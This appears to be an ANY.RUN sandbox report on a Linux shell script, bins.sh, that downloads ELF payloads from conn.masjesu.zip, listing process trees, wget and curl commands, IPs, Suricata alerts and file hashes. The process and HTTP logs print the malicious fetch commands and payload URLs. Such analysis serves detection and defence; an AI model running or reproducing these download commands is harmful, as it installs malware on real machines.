Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/8c6e8ced-3a15-4395-90d6-2caea3119739
Verdict:	Malicious activity
Analysis date:	December 14, 2024, 00:22:07
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (417)
MD5:	97EEF1BD0F9FCC6C9EDB32CC6CCC6DFE
SHA1:	DF541E4388C95B3D14ACA67B12197851062CFA8D
SHA256:	14EF6937989070008FFAAAEBD5B8EDD3FB59D4CBF971176B330363C533CD28F6
SSDEEP:	192:AvyDX4xZUvg4xeaWa5ca6Vla6KRTDX4xZIg4xeaz:AvyDX4xZUMa5ca6Vla6KRTDX4xZK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- EXPLOIT has been detected (SURICATA)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38975)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38974)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39315)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39358)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39316)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39359)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39740)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39739)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39750)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39749)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39754)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39758)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39759)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39767)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39763)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39772)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39762)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39768)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39755)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39771)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39776)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39780)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39775)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39779)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39784)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39783)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39788)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39787)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39791)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39792)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39796)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39797)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39800)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39804)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39801)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39805)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39808)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39809)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39812)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39816)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39813)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39820)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39821)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39817)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39825)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39824)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39829)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39838)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39830)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39854)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39850)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39855)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39851)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39859)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39858)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39839)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39862)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39863)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39835)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39867)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39871)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39834)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39870)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39866)
SUSPICIOUS
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38945)
  - curl (PID: 38751)
  - curl (PID: 39490)
  - curl (PID: 39428)
  - curl (PID: 39332)
  - curl (PID: 39709)
- Potential Corporate Privacy Violation
  - wget (PID: 38750)
  - wget (PID: 38796)
  - curl (PID: 38751)
  - wget (PID: 39041)
  - wget (PID: 39009)
  - wget (PID: 39072)
  - wget (PID: 38973)
  - curl (PID: 38945)
  - wget (PID: 39103)
  - wget (PID: 39135)
  - wget (PID: 39296)
  - wget (PID: 39265)
  - wget (PID: 39166)
  - wget (PID: 39234)
  - curl (PID: 39332)
  - wget (PID: 39200)
  - busybox (PID: 39357)
  - wget (PID: 39396)
  - busybox (PID: 39484)
  - wget (PID: 39366)
  - wget (PID: 39489)
  - curl (PID: 39428)
  - wget (PID: 39427)
  - busybox (PID: 39545)
  - wget (PID: 39549)
  - wget (PID: 39583)
  - wget (PID: 39614)
  - wget (PID: 39646)
  - wget (PID: 39708)
  - wget (PID: 39677)
  - busybox (PID: 39229)
  - busybox (PID: 39067)
  - busybox (PID: 39098)
  - busybox (PID: 38791)
  - busybox (PID: 38824)
  - busybox (PID: 38968)
  - busybox (PID: 39327)
  - busybox (PID: 39290)
  - busybox (PID: 38939)
  - wget (PID: 39331)
  - busybox (PID: 39004)
  - busybox (PID: 39391)
  - busybox (PID: 39260)
  - busybox (PID: 39195)
  - busybox (PID: 39036)
  - wget (PID: 39519)
  - busybox (PID: 39515)
  - busybox (PID: 39160)
  - busybox (PID: 39453)
  - busybox (PID: 39578)
  - busybox (PID: 39130)
  - busybox (PID: 39609)
  - busybox (PID: 39672)
  - busybox (PID: 39641)
  - busybox (PID: 39703)
  - busybox (PID: 39422)
  - busybox (PID: 39734)
- Modifies file or directory owner
  - sudo (PID: 38743)
- Executes commands using command-line interpreter
  - sudo (PID: 38746)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38747)
- Uses wget to download content
  - bash (PID: 38747)
- Connects to unusual port
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38864)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38867)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38862)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38865)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38860)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38861)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38863)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38866)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38869)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38870)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38877)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38871)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38881)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38883)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38872)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38875)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38880)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38874)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38859)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38886)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38868)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38885)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38876)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38884)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38873)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38879)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38882)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38878)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38887)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38888)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38889)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38896)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38895)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38891)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38894)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38901)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38906)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38904)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38899)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38893)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38892)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38897)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38890)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38907)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38905)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38902)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38898)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38903)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38900)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38908)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38909)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38913)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38914)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38911)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38910)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38912)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38916)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38920)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38922)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38917)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38918)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38915)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38919)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38924)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38923)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38926)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38928)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38925)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38921)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38929)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38931)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38930)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38936)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38932)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38934)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38937)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38933)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38927)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38935)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 38938)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39766)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39795)
  - NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB (deleted) (PID: 39833)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

695

Monitored processes

487

Malicious processes

169

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38742	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
38743	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38744	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38745	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38746	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38747	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
38748	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38749	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38750	wget http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38751	/snap/curl/1754/bin/curl -O http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	/snap/curl/1754/bin/curl		bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

175

TCP/UDP connections

13 889

DNS requests

Threats

363

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
38968	busybox	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ	unknown	—	—	—
—	—	GET	204	185.125.190.96:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna	unknown	—	—	—
—	—	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK	unknown	—	—	—
38791	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4	unknown	—	—	—
39004	busybox	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK	unknown	—	—	—
38973	wget	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK	unknown	—	—	—
38945	curl	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ	unknown	—	—	—
38824	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB	unknown	—	—	—
39009	wget	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.98:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	185.125.190.96:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
38750	wget	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38751	curl	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38791	busybox	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38796	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38824	busybox	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38828	NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB	37.44.238.68:443	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

DNS requests

Domain	IP	Reputation
connectivity-check.ubuntu.com	2620:2d:4000:1::97 2620:2d:4000:1::22 2620:2d:4000:1::98 2620:2d:4002:1::197 2620:2d:4000:1::2b 2620:2d:4000:1::23 2620:2d:4002:1::196 2001:67c:1562::24 2001:67c:1562::23 2620:2d:4000:1::96 2620:2d:4002:1::198 2620:2d:4000:1::2a 185.125.190.96 185.125.190.97 185.125.190.18 185.125.190.17 91.189.91.49 91.189.91.98 185.125.190.49 91.189.91.96 185.125.190.98 185.125.190.48 91.189.91.97 91.189.91.48	whitelisted
google.com	142.250.186.174 2a00:1450:4001:829::200e	whitelisted
conn.masjesu.zip	87.121.86.228 37.44.238.68	unknown
166.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc Attack	ET DROP Spamhaus DROP Listed Traffic Inbound group 11
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD

Add for printing

No debug info

General Info

bins.sh

97EEF1BD0F9FCC6C9EDB32CC6CCC6DFE

DF541E4388C95B3D14ACA67B12197851062CFA8D

14EF6937989070008FFAAAEBD5B8EDD3FB59D4CBF971176B330363C533CD28F6

192:AvyDX4xZUvg4xeaWa5ca6Vla6KRTDX4xZIg4xeaz:AvyDX4xZUMa5ca6Vla6KRTDX4xZK

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Reads /proc/mounts (likely used to find writable filesystems)

Potential Corporate Privacy Violation

Modifies file or directory owner

Executes commands using command-line interpreter

Executes the "rm" command to delete files or directories

Uses wget to download content

Connects to unusual port

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings